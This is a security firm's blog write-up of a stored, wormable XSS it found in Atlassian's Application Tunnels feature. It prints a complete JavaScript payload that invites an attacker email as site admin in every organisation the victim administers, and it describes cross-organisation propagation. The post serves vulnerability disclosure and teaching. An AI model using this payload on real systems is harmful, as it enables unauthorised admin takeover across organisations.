How We Found a Wormable XSS in Atlassian
We recently uncovered an interesting vulnerability during a security assessment at Snapsec,
An XSS attack capable of spreading to other organizations—a wormable XSS.
This blog will delve into how we crafted an XSS payload that exploited Atlassian's interconnected web application, giving you a first-hand look at how XSS can do much more than an alert('hacked')
.
Before diving into the technical details, let's briefly discuss Atlassian...
Introducing Atlassian!
Atlassian is a leading software company that develops tools for software development and project management. Their popular products, such as Jira, Confluence, and Bitbucket, empower teams to plan, track, and collaborate effectively. These tools are widely used by organizations across the globe to improve their workflows and enhance productivity.
How we found the XSS in Atlassian?
Before diving into how we discovered the vulnerability, let's first understand link-based XSS, a specific type of cross-site scripting.
Link-Based XSS
One particularly interesting case of link-based XSS occurs when you can control the href
attribute of an <a>
tag. By using a javascript:
handler, it becomes possible to execute XSS within the context of the origin's content.
Suppose an application allows users to input a URL that is later rendered in an <a>
tag without proper validation or sanitization. If the application does not restrict protocols, an attacker could provide a value such as:
<a href="javascript:alert('XSS')">Click me</a>
When a user clicks the link, the JavaScript code executes within the application’s origin, leading to XSS.
Finding Link Based Input Tags
One of the techniques we often use is we specifically look for functionalities that allow injecting or manipulating links within the application. This included areas where user-provided input was reflected in href
attributes of <a>
tags. Our approach involved:
- Identifying locations where user input influenced hyperlinks, especially in areas like comments, descriptions, or link-sharing features.
- Test if javascript: handler can be used in them
Discovery of Application Tunnels Feature
While on our hunt for link-based input tags, we stumbled upon a feature in JIRA called Application Tunnels. Now, don’t worry about what this feature actually does, because honestly, we didn’t at first either. The exciting part? While setting up a new tunnel, we noticed the HTTP request casually taking a URL as input. Jackpot? Maybe!
After digging a bit deeper, we learned that Application Tunnels provide a secure pathway between your Atlassian Cloud organization and Data Center instances within your network. This pathway enables seamless integration of your products through application links, eliminating the need to allow incoming connections to your network.
For more details, check out Atlassian's official documentation: What are Application Tunnels?
Anyway, after tinkering with this feature for a while, we discovered that the input lacked proper validation, making it vulnerable to link-based XSS. This became our entry point for further exploitation and highlighted just how crucial robust input sanitization is in preventing such vulnerabilities.
We proceeded to create a new tunnel and, during the process, intercepted the request. We then modified the onPremiseUrl
parameter to include the following XSS payload: javascript:alert(101)
and forwarded the request.
After forwarding the request, we returned to the Application Tunnels page and noticed a javascript:alert(101)
link had appeared. Holding down the Ctrl key and clicking the link triggered the stored XSS! 🎉
Holding the Ctrl Key?
Yes we needed to hold the Ctrl key because the link included a _blank
attribute, which opens the link in a new tab or window. Without this, some browsers might block the javascript:
protocol due to modern security restrictions. Holding Ctrl forces the link to open as intended, bypassing this limitation and triggering the stored XSS.
Escalating it to a WORMMMMMMMMMMMM!
After identifying the XSS, we conducted a thorough analysis to evaluate its potential for more severe consequences. We began considering whether there was a scenario where this vulnerability could be exploited to affect other organizations, aiming to understand its broader impact and potential for misuse.
In-org Privilege Escalation
The first realisation we had was that this vulnerability could be used to escalate privileges, potentially allowing an attacker to take over admin roles in other organizations created by the user. An attacker with lower permissions could craft a malicious link, and if a site admin(higher role) clicks on it, the link would send a milicious HTTP request to the server and promote attacker to a higher role, gaining admin privileges.
To understand it in more detail, let's break it down step by step.
- So, first the Attacker logs in on
admin.atlassian.com
and goes to Settings >> Application Tunnels.
- Now after that he clicks on "Create Tunnel" and creates a new Tunnel and intercepts the HTTP request. Then he can change the onPremiseUrl to the following JavaScript code and sends the request:
javascript:var xhttp=new XMLHttpRequest;function Takeover(b){var a=new
XMLHttpRequest;a.onreadystatechange=function()
{4==this.readyState&&200==this.status&&
(res2=JSON.parse(a.responseText)).groups.forEach(function(c){if("site-
admins"==c.name){admin_id=c.id;var a=new
XMLHttpRequest;a.open("POST","/gateway/api/adminhub/um/org/"+b+"/users/invit
e",!0),a.setRequestHeader("Content-
Type","application/json"),a.send('{"emails":
["imran_nazir+attacker@bugcrowdninja.com"],"permissionRules":
[],"additionalGroups":
["'+admin_id+'"],"sendNotification":true}')}})},a.open("GET","/gateway/api/a
dminhub/um/org/"+b+"/groups",!0),a.send()}xhttp.onreadystatechange=function(
){4==this.readyState&&200==this.status&&
(res=JSON.parse(xhttp.responseText)).forEach(function(a)
{Takeover(oid=a.id)})},xhttp.open("GET","/gateway/api/adminhub/organization/
my",!0),xhttp.send()
- Once the payload is sent, all we need to do is wait for the victim (site admin) to click on the link.
- Upon clicking the link, the victim (site admin), who has site-admin privileges across multiple organizations, triggers the script. The script checks how many organizations the victim is a site admin for and then invites the attacker as a site admin to all of them. For example, in this case, the victim was a site admin for two sites.
So, upon clicking, two invite requests were sent, inviting the Attacker to become a site admin in those two organizations.
- To confirm , when we go to
https://admin.atlassian.com
and go to Directory section to check, we can see Attacker has been invited to site-admin in all the organisations of Victim.
While this is a straightforward example and, to be honest, almost all the XSS bugs can be exploited to escalate privileges in role-based environments, we were more interested in exploring further—specifically, looking for the possibility of cross-organization attacks.
Cross-Org Attack Scenario
With our deep understanding of Jira products and its roles, we knew that a user could be a member of multiple organizations. Our initial assumption was that if an attack occurred in R and the user was also a member of Org2, could the XSS spread to other organizations?
And, as it turned out, our assumptions were correct.
Attack Scanerio:
Consider another scenario involving four organizations: Red, Blue, Orange, and Green.
- userA (the attacker) possesses site-administrator privileges within Red organization.
- userB possesses site-administrator privileges within Red and Blue organizations.
- userC possesses site-administrator privileges within Orange and Blue organizations.
- userD possesses site-administrator privileges within Orange and Green organizations.
This creates a network of interconnected organizations through shared administrative privileges.
The attack starts when userA (the attacker) injects an XSS payload into Red org. Since userB has admin access to Red, they might click the malicious link in the Application Tunnels page, triggering the JavaScript code. This allows the payload to spread to Blue org. The JS code also checks how many organizations the attacker is part of and creates a new tunnel with the same malicious script in all those organizations.
Similarly, userC, possessing administrative access to Blue org, interacts with the Application Tunnels page in Blue, leading to the propagation of the payload to Orange org. Finally, userD, with access to Orange, interacts with the compromised system, resulting in the payload reaching Green org.
This chain reaction demonstrates the "worming" behavior of the exploit. By leveraging the interconnectedness of organizations through shared administrative privileges, the attacker can effectively propagate the XSS payload across multiple entities, potentially gaining unauthorized access and control within the entire network.
Conclusion
In conclusion, our discovery of this wormable XSS vulnerability within the Atlassian platform highlights the critical importance of diving deep into the vulnerabilities that you've found. By thoroughly analyzing vulnerabilities and understanding their potential impact, we can significantly enhance the security posture of critical software systems and organizations and also protect users from malicious exploitation.
Request a Security Audit
Snapsec delivers advanced cybersecurity services to safeguard your business with modern, tailored solutions. Our expert team uses cutting-edge technology to protect your digital assets and detect threats. From attack surface management to comprehensive protection, we've got you covered.
Request an Audit